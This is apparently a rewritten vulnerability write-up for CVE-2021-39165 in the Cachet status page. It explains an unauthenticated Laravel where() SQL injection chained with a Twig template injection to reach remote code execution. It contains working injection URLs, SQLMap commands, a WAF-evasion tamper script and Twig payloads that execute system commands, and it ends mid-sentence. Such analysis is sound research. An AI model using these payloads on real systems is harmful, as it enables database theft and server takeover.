CVE-2021-39165: A Bug Bounty Journey from a Laravel SQL Injection Vulnerability
A Laravel query builder misuse in Cachet's component search allowed an unauthenticated attacker to inject SQL through the fourth argument of a nested where clause, enabling blind SQL injection and extraction of user credentials. The author then chained this with a Twig template injection in the incident template feature to achieve remote code execution.
Published on translate.google.com
One boring Sunday evening, I was browsing through Knowledge Planet when I noticed an anonymous user had asked me two questions in a row:
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Cachet is an open-source status page system built on the Laravel framework. Status pages exist to show the outside world whether a set of services is running normally, and the well-known examples the author lists are GitHub, Twitter, Facebook and Amazon AWS. The dominant commercial product in this space is Statuspage.io, owned by Atlassian, but Cachet has a sizeable following of its own, with over 12,000 followers on GitHub.
The latest stable version at the time of writing is 2.3.18, based on Laravel 5.2. The author notes that the dev branch differs, mainly in the exploit chain for the backend getshell part, and that the audit is based on the stable version only.
The feature that matters for the first half of this story is the public API endpoint that lists components. Components are the individual services shown on a status page, and the endpoint supports searching and sorting them. The feature that matters for the second half is Incident Templates, which let an administrator predefine the detail text used when an incident is reported. Incident Templates support the Twig template language.
Setup
The author installed Cachet 2.3.18 locally and ran it on [redacted]:8080, with a Postgres database. Debugging was done in PHPStorm. For the SQL injection phase the tool was SQLMap, and for the template phase the tool was a browser plus an API client. No special role is needed for the injection: the vulnerable endpoint is a GET on the public API and requires no user permissions. The template exploitation requires an Incident Template to be created in the web backend first, and an API token for the incident API.
Finding it
The audit started from the routing. In app/Http/Routes/StatusPageRoutes.php the routes are grouped under three middleware classes, web, ready and localize:
$router->group(['middleware' => ['web', 'ready', 'localize']], function (Registrar $router) {
$router->get('/', [
'as' => 'status-page',
'uses' => 'StatusPageController@showIndex',
]);
$router->get('incident/{incident}', [
'as' => 'incident',
'uses' => 'StatusPageController@showIncident',
]);
$router->get('metrics/{metric}', [
'as' => 'metrics',
'uses' => 'StatusPageController@getMetrics',
]);
$router->get('component/{component}/shield', 'StatusPageController@showComponentBadge');
});
From the routes you learn which controller and method handle a path, and which middleware applies to the whole module. The three middleware classes are found in app/Http/Kernel.php: web sets cookies and sessions and validates CSRF tokens, ready checks whether the CMS has been initialised and redirects to the setup page if not, and localize renders pages in different languages based on the Accept-Language request header.
The author then focused on controllers without permission checks, meaning those without the admin and auth middleware. One of them is getComponents in app/Http/Controllers/Api/ComponentController.php:
/**
* Get all components.
*
* @return \Illuminate\Http\JsonResponse
*/
public function getComponents()
{
if (app(Guard::class)->check()) {
$components = Component::query();
} else {
$components = Component::enabled();
}
$components->search(Binput::except(['sort', 'order', 'per_page']));
if ($sortBy = Binput::get('sort')) {
$direction = Binput::has('order') && Binput::get('order') == 'desc';
$components->sort($sortBy, $direction);
}
$components = $components->paginate(Binput::get('per_page', 20));
return $this->paginator($components, Request::instance());
}
Two calls stand out: $components->search(Binput::except(['sort', 'order', 'per_page'])); and $components->sort($sortBy, $direction);. Neither sort nor search is a built-in Laravel model method, which usually means a custom scope. Scopes are reusable methods defined on the model, and they begin with scope.
The scopeSort method lives in app/Models/Traits/SortableTrait.php:
trait SortableTrait
{
/**
* Adds a sort scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param string $column
* @param string $direction
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSort(Builder $query, $column, $direction)
{
if (!in_array($column, $this->sortable)) {
return $query;
}
return $query->orderBy($column, $direction);
}
}
Here $column is checked with in_array and $direction is a bool, so neither can carry a malicious parameter.
The scopeSearch method lives in app/Models/Traits/SearchableTrait.php:
<?php
trait SearchableTrait
{
/**
* Adds a search scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param array $search
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSearch(Builder $query, array $search = [])
{
if (empty($search)) {
return $query;
}
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
}
}
When Cachet calls search with Binput::except(['sort', 'order', 'per_page']), it passes an array built from the complete user GPC input minus those three keys. In other words, both the keys and the values of $search are user-controlled.
The guard is array_intersect(array_keys($search), $this->searchable). At first glance it looks like validation: if the user's keys are not in $this->searchable, there is no intersection. But the intersection only needs to be non-empty, so a single key that is in $this->searchable makes the if false and lets execution continue. The check is effectively useless, and the whole user-supplied array $search reaches where().
Before reaching that point the author also characterised Cachet's overall design: a lot of logic sits in CommandHandlers rather than controllers, following Laravel's Commands & Handlers command pattern, which separates input (source) from the logical operation (sink) and makes auditing harder. Front-end functionality is minimal, permission checks are handled in middleware, GET operations on the front end and API need no permissions, API write operations do, and all backend operations do. Some special operations have logical checks. Cachet uses Laravel-Binput for user input, a library mainly intended for security filtering, and that filtering later turned out to be very helpful for bypassing WAFs in the wild.
Exploitation
Step 1: understanding what where() accepts
Laravel's where() can be called with two arguments, a key and a value:
DB::table('dual')->where('id', 1);
// 生成的WHERE条件是:WHERE id = 1
With three arguments, the second is treated as the operator:
DB::table('dual')->where('id', '>', 18);
// 生成的WHERE条件是:WHERE id > 18
It also accepts an array of conditions:
DB::table('dual')->where([
['id', '>', '18'],
['title', 'LIKE', '%example%']
]);
// 生成的WHERE条件是:WHERE id > 18 AND title LIKE '%example%'
The author then considered three cases: where($input, '=', 1) with the first argument controlled, where('id', $input, 1) with the second argument controlled and a third present, and where($input) with a single controlled argument. Testing gave these results:
- With the key controlled, any string produces an "unknown column" error, but delimiters such as backticks and double quotes are escaped, so you cannot escape the field and inject.
- With the operator controlled, non-operator characters produce no error and no injection.
- With the whole condition controlled, you can pass multiple keys, operators and values, but since neither keys nor operators can inject, values cannot either.
Step 2: reading the builder source
Debugging into where() in src/Illuminate/Database/Query/Builder.php showed the internals:
public function where($column, $operator = null, $value = null, $boolean = 'and')
{
// If the column is an array, we will assume it is an array of key-value pairs
// and can add them each as a where clause. We will maintain the boolean we
// received when the method was called and pass it into the nested where.
if (is_array($column)) {
return $this->addArrayOfWheres($column, $boolean);
}
// ...
// If the given operator is not found in the list of valid operators we will
// assume that the developer is just short-cutting the '=' operators and
// we will set the operators to '=' and set the values appropriately.
if (! in_array(strtolower($operator), $this->operators, true) &&
! in_array(strtolower($operator), $this->grammar->getOperators(), true)) {
list($value, $operator) = [$operator, '='];
}
When the first argument is an array, execution goes to addArrayOfWheres(). The second if shows the operator is validated against the known operator lists, which is why operator injection fails.
addArrayOfWheres() and whereNested() look like this:
protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
return $this->whereNested(function ($query) use ($column, $method) {
foreach ($column as $key => $value) {
if (is_numeric($key) && is_array($value)) {
call_user_func_array([$query, $method], $value);
} else {
$query->$method($key, '=', $value);
}
}
}, $boolean);
}
public function whereNested(Closure $callback, $boolean = 'and')
{
$query = $this->forNestedWhere();
call_user_func($callback, $query);
return $this->addNestedWhereQuery($query, $boolean);
}
The important part is the callback that iterates over the user-supplied array. When a key is numeric and its value is an array, it calls [$query, $method], that is $this->where(), with the whole $value array as the argument list. This is exactly what implements the third form of where() shown above. The consequence: control over the first argument of where() becomes control over all of its arguments.
Step 3: the fourth argument
Looking again at the signature:
public function where($column, $operator = null, $value = null, $boolean = 'and')
The fourth parameter, $boolean, controls how WHERE conditions are joined and defaults to and. It is neither a key nor a value in the SQL statement; it is SQL code itself. If it is not validated, there is SQL injection. It is not validated. With debug mode on and the error-suppression logic commented out, the SQL error appears on the page.
The 1[3] parameter can inject arbitrary statements, so this is a SQL injection. Because the API endpoint is a GET request, no user permissions are needed: it is an unauthenticated front-end SQL injection.
The author compares this Laravel array behaviour to the ThinkPHP 3 SQL injection he first found six years earlier, which pioneered array-based ORM injection in frameworks. Laravel's issue is in the first argument of where(), and the vendor does not consider it a framework problem.
Step 4: choosing an exploitation technique
By default Cachet returns only a 500 error with no details, and Laravel does not support stacked queries. That leaves two options: UNION SELECT to read data directly, or boolean blind injection. UNION is not usable here because the user input passes through two SQL statements with different column counts, so at least one of them errors out during a UNION SELECT. Boolean blind injection works.
A request that returns data:
http://[redacted]:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+
Changing and 1=1 to and 1=2 makes the data disappear:
http://[redacted]:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=2)+--+
That confirms blind injection. SQLMap replaces the whole parameter with its payload by default, but this injection point needs a prefix and suffix, so the parameter has to be adjusted. The technique is to take a URL that returns data, add an asterisk after the closing parenthesis, and use it as the -u target:
python sqlmap.py -u "http://[redacted]:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"
SQLMap identifies the injection point. Since the table structure is known, the users and passwords are retrieved successfully.
Step 5: from SQL injection to the admin panel
The advantage of this injection is that it needs no permissions. The disadvantage is that stacked queries are not possible, because PDO is initialised with PDO::ATTR_EMULATE_PREPARES set to false and the database's default parameterised queries do not allow preparing multiple statements. Without stacking there is no UPDATE, so the injection yields information only. Getting code execution requires further auditing.
The next phase was backend logic, and the author recommends combining black-box and white-box testing there, because the backend has many sensitive operations such as file upload and editing that can sometimes be tested by simply changing a captured request. Cachet's backend is relatively safe: there is no file operation logic, and the only upload, the Banner Image change, has no vulnerability.
One feature stood out: Incident Templates, used to simplify filling in details when reporting an incident. It supports parsing the Twig template language.
Twig parsing happens in the API request: when an Incident object is created or edited through the API, Incident Templates are used and the template engine executes.
Step 6: executing a template
To exploit this, add an Incident Template in the web backend, fill in the Twig template, and note its name. Then send the following request to execute the template named ssti and get the result:
POST /api/v1/incidents HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
X-Cachet-Token: [redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
visible=0&status=1&name=demo&template=ssti
The X-Cachet-Token header is the API key of the user obtained through the SQL injection. With an Incident Template whose content is {{ 233 * 233 }}, the rendered result is returned in the API response.
Step 7: Twig version constraints
Twig is a well-known PHP template engine that offers a safer sandbox mode. In default mode there are no special restrictions; in sandbox mode only whitelisted tags and filters are available. Cachet does not use sandbox mode.
In normal mode, executing malicious code requires built-in tags or filters, or dangerous objects in the context. Twig v1.41, v2.10 and v3 added the map and filter filters, which can call arbitrary functions directly:
{{["id"]|filter("system")|join(",")}}
{{["id"]|map("system")|join(",")}}
Cachet v2.3.18 uses v1.40.1, which does not have these filters. For older versions, PortSwigger's 2015 article on server-side template injection described the method of the time:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
_self is a default context object in Twig referring to the current Template, and its env property is a Twig_Environment object. registerUndefinedFilterCallback and getFilter register and execute callbacks, so the two calls form an arbitrary command execution chain. This was fixed in Twig v1.20.0: when the object is the current object, property access is not performed, and the following if is never entered:
// object property
if (self::METHOD_CALL !== $type && !$object instanceof self) { // Twig_Template does not have public properties, and we don't want to allow access to internal ones
if (isset($object->$item) || array_key_exists((string) $item, $object)) {
if ($isDefinedTest) {
return true;
}
if ($this->env->hasExtension('sandbox')) {
$this->env->getExtension('sandbox')->checkPropertyAllowed($object, $item);
}
return $object->$item;
}
}
The fix is sound: Twig normally allows access only to public properties and methods, but _self points at $this, and $this can reach protected properties of parent classes, which bypassed the scope restriction and reached env. The fix makes _self behave like any other object. It also removed _self.getEnvironment(), which could reach env as well.
Cachet uses rcrowe/twigbridge to integrate Twig into Laravel, and the version in composer.lock is certainly above v1.20.0 (actually v1.40.1), so this payload cannot be used for command execution either.
Step 8: a new Twig chain
Cachet renders Twig templates with this code:
protected function parseIncidentTemplate($templateSlug, $vars)
{
if ($vars === null) {
$vars = [];
}
$this->twig->setLoader(new Twig_Loader_String());
$template = IncidentTemplate::forSlug($templateSlug)->first();
return $this->twig->render($template->template, $vars);
}
$vars is an array passed by the user in the POST body, so the variables injected into the template are plain strings, with no objects. Combined with the restricted _self, usable methods are hard to find.
Attention turned to rcrowe/twigbridge, the bridge between Laravel and Twig. Following Laravel's dependency injection and inversion of control, a bridge needs a Service Provider that initialises the target object and puts it in the container. Breaking in the twigbridge ServiceProvider and following the Twig initialisation revealed something interesting.
baseTemplateClass is not the default \Twig\Template but a custom TwigBridge\Twig\Template. baseTemplateClass is the base class of the object _self points to in a template, so it is an important class.
In src/Twig/Template.php, the $context contains a special-looking object, __env:
/**
* {@inheritdoc}
*/
public function display(array $context, array $blocks = [])
{
if (!isset($context['__env'])) {
$context = $this->env->mergeShared($context);
}
if ($this->shouldFireEvents()) {
$context = $this->fireEvents($context);
}
parent::display($context, $blocks);
}
Breaking there shows __env is an \Illuminate\View\Factory object: Twig shares the global variables of Laravel's native View template engine.
Looking for dangerous properties and functions in \Illuminate\View\Factory, the \Illuminate\Events\Dispatcher property contains a pair of event listener functions:
public function listen($events, $listener, $priority = 0)
{
foreach ((array) $events as $event) {
if (Str::contains($event, '*')) {
$this->setupWildcardListen($event, $listener);
} else {
$this->listeners[$event][$priority][] = $this->makeListener($listener);
unset($this->sorted[$event]);
}
}
}
public function fire($event, $payload = [], $halt = false)
{
// ...
foreach ($this->getListeners($event) as $listener) {
$response = call_user_func_array($listener, $payload);
The constraint is that the callback must be a class method that can be created and initialised automatically, such as a static method. A suitable pair was found in \Symfony\Component\VarDumper\VarDumper: call setHandler to set $handler to any function, then call dump to execute it.
class VarDumper
{
private static $handler;
public static function dump($var)
{
// ...
return call_user_func(self::$handler, $var);
}
public static function setHandler(callable $callable = null)
{
$prevHandler = self::$handler;
self::$handler = $callable;
return $prevHandler;
}
}
The resulting template executes arbitrary commands:
{{__env.getDispatcher().listen('ssti1', '\\Symfony\\Component\\VarDumper\\VarDumper@setHandler')}}
{% set a = __env.getDispatcher().fire('ssti1', ['system']) %}
{{__env.getDispatcher().listen('ssti2', '\\Symfony\\Component\\VarDumper\\VarDumper@dump')}}
{% set a = __env.getDispatcher().fire('ssti2', ['ping -n 1 [redacted]']) %}
Besides __env, the context also contains an app variable, an \Illuminate\Foundation\Application object, whose chain is simpler because one of its functions executes arbitrary code directly:
public function call($callback, array $parameters = [], $defaultMethod = null)
{
if ($this->isCallableWithAtSign($callback) || $defaultMethod) {
return $this->callClass($callback, $parameters, $defaultMethod);
}
$dependencies = $this->getMethodDependencies($callback, $parameters);
return call_user_func_array($callback, $dependencies);
}
So a template that executes an arbitrary PHP function is much simpler:
{{ app.call('md5', ['123456']) }}
With that, backend code execution is achieved. Combined, the two vulnerabilities give full control of the Cachet system.
Step 9: taking it to bug bounty programs
Many large companies abroad use Statuspage, so the author searched HackerOne and Bugcrowd for vendors using Cachet.
There were not many; most vendors still use Statuspage.io.
In the wild a difficult problem appeared: many vendors use a WAF, which makes a GET-based injection awkward. The solution came back to code auditing. Cachet reads user input with graham-campbell/binput, and the earlier audit showed it filters input on retrieval:
public function get($key, $default = null, $trim = true, $clean = true)
{
$value = $this->request->input($key, $default);
return $this->clean($value, $trim, $clean);
}
Following clean() shows the library processes user input like this:
protected function process($str)
{
$str = $this->removeInvisibleCharacters($str);
//...
}
protected function removeInvisibleCharacters($str, $urlEncoded = true)
{
$nonDisplayables = [];
if ($urlEncoded) {
$nonDisplayables[] = '/%0[0-8bcef]/';
$nonDisplayables[] = '/%1[0-9a-f]/';
}
$nonDisplayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
do {
$str = preg_replace($nonDisplayables, '', $str, -1, $count);
} while ($count);
return $str;
}
removeInvisibleCharacters() strips all control characters from the input. That behaviour can be used to bypass a WAF. A normal injection statement is blocked by the WAF.
Inserting a control character %01 in the middle of the keyword OR bypasses the WAF and injects normally.
A simple SQLMap tamper script automates the processing:
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
KEYWORD_PATTERN = re.compile(r'\b[a-zA-Z]{2,}\b')
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Add %01 to all the keyword
>>> tamper("1 AND '1'='1")
"1 A%01ND '1'='1"
"""
payload_list = list(payload)
offset = 0
for g in KEYWORD_PATTERN.finditer(payload):
start = g.start()
end = g.end()
m = (start + end) // 2
payload_list.insert(offset + m, '%01')
offset += 1
return ''.join(payload_list)
Using the tamper:
python sqlmap.py -u "https://target/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=o%02r+%27a%27=%3F%20a%01nd%201=1)*+--+" --tamper addinvisiblechars.py -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
A few vendors with bug bounty programs were submitted and all were confirmed.
Root cause
The SQL injection is in scopeSearch. The guard array_intersect(array_keys($search), $this->searchable) only checks that at least one user-supplied key matches a searchable column, so an attacker adds one legitimate key and keeps every other key. The full array then reaches where(). Laravel's addArrayOfWheres() iterates the array and, for numeric keys whose values are arrays, calls where() again with the value array as the argument list. That lets the attacker supply the fourth argument, $boolean, which is concatenated as SQL code rather than bound as a value. The operator argument is validated against the operator lists, and keys are escaped as identifiers, but $boolean is not validated at all. The vendor does not consider the framework behaviour a framework problem.
The template injection is a design issue: Incident Templates render user-authored Twig without sandbox mode, and the Twig context carries framework objects (__env, an \Illuminate\View\Factory, and app, an \Illuminate\Foundation\Application) that expose callable sinks. The Twig fix for _self closed the old chain but not the shared context objects.
The WAF bypass works because Binput strips control characters from the input, so a keyword split by %01 or %02 is reassembled into a valid keyword before it reaches the query.
Impact
The SQL injection is unauthenticated: any GET request to the components API reaches the vulnerable code, and data can be extracted by boolean blind injection, subject to the limits above. In the bug bounty phase it was confirmed by several vendors that use Cachet, and the same input filtering that enables the WAF bypass made those submissions practical.
The template injection requires an Incident Template to be created in the web backend, and an API token to create or edit an incident through the API. Once those are in place it gives arbitrary command execution on the server. Chained with the SQL injection, which yields user credentials and API keys, the two together give full control of the Cachet system.
Fix
The vulnerability was submitted to the Cachet team, but the official developers are not very active and did not respond. A forked vendor was found in the issues section; it is more active and its maintainers can be contacted, so the vulnerability was reported from the perspective of the forked vendor. The fork was found to have patched this vulnerability previously. The advisory was published on 27 August 2021 at 01:36 AM GMT+8 and confirmed as CVE-2021-39165.
Timeline:
- 19 July 2021: vulnerability discovery.
- 20 July 2021: SQL injection submitted to Laravel, which does not consider it their problem.
- 19 to 30 July 2021: vendors on HackerOne and Bugcrowd tested and vulnerabilities submitted.
- 27 July 2021: vulnerability submitted to the official Cachet team and the fork maintainers.
- 27 July 2021: the fork was found to have patched the vulnerability previously.
- 27 August 2021, 01:36 AM GMT+8: advisory released, CVE-2021-39165.
Variants to test
- Search for other Laravel applications that pass a user-controlled array into
where(). A positive result is a query that errors with an "unknown column" message for a controlled key, or a boolean condition in the fourth argument that changes the result set. - Look for scopes that use
array_intersector similar partial checks on user keys. A positive result is a request with one valid key plus extra keys that still reaches the query builder. - Test
where()with a numeric key whose value is an array of three or four elements, and vary the fourth element. A positive result is a change in the returned rows when the fourth element changes between true and false conditions. - Look for template engines rendered without sandbox mode where the context contains framework objects. A positive result is a template expression that calls a method on a context object and returns its output.
- Test whether input filtering strips control characters after the WAF. A positive result is a request with
%01or%02inside a keyword that the WAF allows and the application processes as the original keyword. - Check whether the database driver allows stacked queries. A positive result is a second statement executing; a negative result means extraction only, as here.
What happened, in plain words
A security researcher was looking for a simple open-source PHP project to use as a teaching example for a tutorial about debugging PHP code. He picked Cachet, a program that runs a "status page": a public web page where a company shows whether its services are up or down. While setting it up he decided to audit it, meaning to read its source code looking for mistakes that an attacker could abuse.
He found two serious mistakes. The first let anyone read data out of the site's database without logging in at all. The second let someone who could create an Incident Template in the backend run their own commands on the server. He then searched bug bounty platforms (websites where companies pay people for reporting security bugs) for companies running Cachet, and reported the problem to several of them. The reports were confirmed, and the issue was published as CVE-2021-39165, a public identifier for a known vulnerability.
This article walks through the whole journey in the order it happened: how he found the first bug, how he turned it into something usable, how he found the second bug, and how he got past the protective firewalls (WAFs) that some companies had in front of their sites.
Background: what Cachet is and why it matters
Cachet is a status page system built on Laravel, a very popular toolkit (framework) for writing web applications in the PHP programming language. A status page is the page a cloud provider shows the world so customers can see whether each service is working. The author lists GitHub, Twitter, Facebook and Amazon AWS as well-known examples.
The market leader in this space is Statuspage.io, owned by Atlassian, but it is paid software. Cachet is free and open source, and it has a large following: over 12,000 followers on GitHub, the site where open-source code is hosted.
The version audited here is the latest stable release, 2.3.18, which is built on Laravel 5.2. The author notes that the development version of Cachet differs, mainly in the part of the attack chain that leads to running code on the server, and that the audit covers the stable version only.
Two features matter for the story:
- Components API: a public web address (endpoint) that lists the components of a status page. A component is one of the individual services shown on the page, such as "Website" or "API". This endpoint supports searching and sorting, and it is the entry point for the first bug.
- Incident Templates: a feature that lets an administrator predefine the text used when an incident (an outage or problem) is reported, so staff do not retype the same details every time. Incident Templates understand Twig, a template language, and this is the entry point for the second bug.
Setting up
The author installed Cachet 2.3.18 on his own computer and ran it at [redacted]:8080. That address is the standard "this machine, port 8080" address, so nothing here touched anyone else's system. The database behind it was Postgres. He debugged the code in PHPStorm, an editor for PHP that lets you pause a program mid-run and inspect its variables. For the first bug he used SQLMap, a tool that automates SQL injection attacks. For the second bug he used a browser and a tool for sending API requests.
The first bug needs no account at all: the vulnerable address is a GET request on the public API, and GET means "read this page", the same kind of request your browser makes when you open a link. The second bug does need an Incident Template created in the web backend first, plus an API token, which is a long secret string that acts like a password for programs.
Finding the first bug: reading the routes
The audit started where any Laravel audit starts: the routing. Routes are the table that maps a web address to the piece of code that handles it. In app/Http/Routes/StatusPageRoutes.php the routes are grouped under three middleware classes, web, ready and localize:
$router->group(['middleware' => ['web', 'ready', 'localize']], function (Registrar $router) {
$router->get('/', [
'as' => 'status-page',
'uses' => 'StatusPageController@showIndex',
]);
$router->get('incident/{incident}', [
'as' => 'incident',
'uses' => 'StatusPageController@showIncident',
]);
$router->get('metrics/{metric}', [
'as' => 'metrics',
'uses' => 'StatusPageController@getMetrics',
]);
$router->get('component/{component}/shield', 'StatusPageController@showComponentBadge');
});
Line by line:
$router->group([...], function (Registrar $router) { ... });wraps a set of routes in shared settings. Everything inside the braces inherits the same middleware.'middleware' => ['web', 'ready', 'localize']lists three middleware classes. Middleware is code that runs before the actual page handler, like a doorman who checks something at the entrance before letting you into the room.$router->get('/', [...])says: when someone requests the site root with GET, run the methodshowIndexinStatusPageController. The'as' => 'status-page'part just gives the route a nickname used elsewhere in the code.$router->get('incident/{incident}', ...)does the same for a single incident page. The{incident}part is a placeholder filled from the URL.$router->get('metrics/{metric}', ...)handles a metrics page, again with a placeholder.$router->get('component/{component}/shield', ...)handles the little badge image shown next to a component.
From routes you learn two things: which controller and method handle a given address, and which middleware applies to the whole module. The three middleware classes are defined in app/Http/Kernel.php:
webbundles several common jobs: setting cookies (small pieces of data the browser stores and sends back) and sessions (the server's memory of who you are across requests), and checking CSRF tokens (a hidden value that proves a form was submitted from the site itself, not forged by another site).readychecks whether the CMS has been set up yet, and if not, sends you to the setup page. CMS means content management system, a ready-made web application you configure rather than write.localizepicks the language of the page from theAccept-Languageheader, which is the line in your browser's request that says which languages you prefer.
The author then looked for controllers with no permission checks, meaning those not wrapped in the admin and auth middleware. One of them is getComponents in app/Http/Controllers/Api/ComponentController.php:
/**
* Get all components.
*
* @return \Illuminate\Http\JsonResponse
*/
public function getComponents()
{
if (app(Guard::class)->check()) {
$components = Component::query();
} else {
$components = Component::enabled();
}
$components->search(Binput::except(['sort', 'order', 'per_page']));
if ($sortBy = Binput::get('sort')) {
$direction = Binput::has('order') && Binput::get('order') == 'desc';
$components->sort($sortBy, $direction);
}
$components = $components->paginate(Binput::get('per_page', 20));
return $this->paginator($components, Request::instance());
}
Line by line:
- The comment block above the function is documentation, not code.
public function getComponents()declares the function that handles the request.if (app(Guard::class)->check())asks: is a user currently logged in?Guardis Laravel's name for the login checker.- If yes,
$components = Component::query();starts a query that can return all components, including disabled ones. else { $components = Component::enabled(); }otherwise starts a query limited to enabled components, the ones a visitor is allowed to see.$components->search(Binput::except(['sort', 'order', 'per_page']));passes the search terms.Binputis a helper library that reads user input;except([...])means "take everything the user sent except these three keys". So the search receives an array (a list of key and value pairs) built from whatever the user put in the URL, minussort,orderandper_page.if ($sortBy = Binput::get('sort'))reads thesortparameter and, if it is present, enters the block.$direction = Binput::has('order') && Binput::get('order') == 'desc';sets a true/false value: true only iforderwas sent and equalsdesc.$components->sort($sortBy, $direction);applies the sort.$components = $components->paginate(Binput::get('per_page', 20));splits the results into pages, 20 per page by default, or whateverper_pagesays.return $this->paginator($components, Request::instance());formats the result as the response.
Two calls stand out: search(...) and sort(...). Neither is a built-in method of a Laravel model. A model is the code that represents one table in the database. When a method like this is not built in, it usually means a custom scope: a reusable helper defined on the model whose name starts with scope.
The scopeSort method lives in app/Models/Traits/SortableTrait.php:
trait SortableTrait
{
/**
* Adds a sort scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param string $column
* @param string $direction
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSort(Builder $query, $column, $direction)
{
if (!in_array($column, $this->sortable)) {
return $query;
}
return $query->orderBy($column, $direction);
}
}
Line by line:
trait SortableTraitdeclares a trait, a bundle of methods that other classes can reuse.public function scopeSort(Builder $query, $column, $direction)is the sort helper. Laravel turns a call tosort(...)into a call toscopeSort(...).if (!in_array($column, $this->sortable))checks whether the requested column is in the model's list of allowed sortable columns.in_arraymeans "is this value in that list?".return $query;if not allowed, return the query unchanged, so nothing happens.return $query->orderBy($column, $direction);otherwise add the ordering.
Here $column is checked against a fixed list and $direction is a true/false value, so neither can carry a malicious payload.
The scopeSearch method lives in app/Models/Traits/SearchableTrait.php:
<?php
trait SearchableTrait
{
/**
* Adds a search scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param array $search
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSearch(Builder $query, array $search = [])
{
if (empty($search)) {
return $query;
}
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
}
}
Line by line:
public function scopeSearch(Builder $query, array $search = [])is the search helper, receiving the user's array.if (empty($search))if there is nothing to search for, return the query unchanged.if (!array_intersect(array_keys($search), $this->searchable))is the guard.array_keystakes the key names from the user's array.array_intersectreturns the values that appear in both lists. The!means "if the result is empty". So: if none of the user's keys is a searchable column, return the query unchanged.return $query->where($search);otherwise pass the whole user array into the database query builder.
When Cachet calls search with Binput::except(['sort', 'order', 'per_page']), it passes an array built from the complete user input minus those three keys. In other words, both the keys and the values of $search are under the attacker's control.
The guard looks like validation at first glance: if the user's keys are not in the allowed list, there is no intersection. But the intersection only has to be non-empty. A single key that is in the allowed list makes the if false and lets execution continue. The check is effectively useless, and the whole user-supplied array reaches where().
Before reaching that point the author also described Cachet's overall design. A lot of logic sits in CommandHandlers rather than controllers, following Laravel's Commands & Handlers pattern, which separates the input (the source) from the operation that acts on it (the sink) and makes auditing harder. Front-end functionality is minimal, and permission checks are handled in middleware: GET operations on the front end and API need no permissions, API write operations do, and all backend operations do. Some special operations have logical checks. Cachet reads user input with Laravel-Binput, a library mainly intended for security filtering, and that filtering later turned out to be very helpful for bypassing WAFs in the wild.
Understanding what where() accepts
Laravel's where() builds the WHERE part of a database query, the part that says which rows to pick. Called with two arguments, a key and a value:
DB::table('dual')->where('id', 1);
// 生成的WHERE条件是:WHERE id = 1
Line by line:
DB::table('dual')starts a query on a table calleddual.->where('id', 1)adds the condition "column id equals 1".- The comment says the generated WHERE condition is
WHERE id = 1.
With three arguments, the second is treated as the operator (the comparison symbol):
DB::table('dual')->where('id', '>', 18);
// 生成的WHERE条件是:WHERE id > 18
Line by line:
->where('id', '>', 18)means "column id is greater than 18".- The comment confirms the generated condition is
WHERE id > 18.
It also accepts an array of conditions:
DB::table('dual')->where([
['id', '>', '18'],
['title', 'LIKE', '%example%']
]);
// 生成的WHERE条件是:WHERE id > 18 AND title LIKE '%example%'
Line by line:
- The outer array holds two inner arrays, each one a condition.
['id', '>', '18']means "id greater than 18".['title', 'LIKE', '%example%']means "title matches the pattern containing example".LIKEis SQL's pattern match, and%stands for "anything".- The comment says the result is
WHERE id > 18 AND title LIKE '%example%', with the two conditions joined by AND.
The author then considered three cases: where($input, '=', 1) with the first argument controlled, where('id', $input, 1) with the second argument controlled and a third present, and where($input) with a single controlled argument. Testing gave these results:
- With the key controlled, any string produces an "unknown column" error, but delimiters such as backticks and double quotes are escaped, so you cannot escape the field and inject.
- With the operator controlled, non-operator characters produce no error and no injection.
- With the whole condition controlled, you can pass multiple keys, operators and values, but since neither keys nor operators can inject, values cannot either.
Reading the query builder source
Debugging into where() in src/Illuminate/Database/Query/Builder.php showed the internals:
public function where($column, $operator = null, $value = null, $boolean = 'and')
{
// If the column is an array, we will assume it is an array of key-value pairs
// and can add them each as a where clause. We will maintain the boolean we
// received when the method was called and pass it into the nested where.
if (is_array($column)) {
return $this->addArrayOfWheres($column, $boolean);
}
// ...
// If the given operator is not found in the list of valid operators we will
// assume that the developer is just short-cutting the '=' operators and
// we will set the operators to '=' and set the values appropriately.
if (! in_array(strtolower($operator), $this->operators, true) &&
! in_array(strtolower($operator), $this->grammar->getOperators(), true)) {
list($value, $operator) = [$operator, '='];
}
Line by line:
public function where($column, $operator = null, $value = null, $boolean = 'and')is the function signature. It takes four arguments: the column, the operator, the value, and a fourth one called$booleanthat defaults to'and'.if (is_array($column))checks whether the first argument is an array.return $this->addArrayOfWheres($column, $boolean);if it is, hand off to a helper that processes an array of conditions.- The next
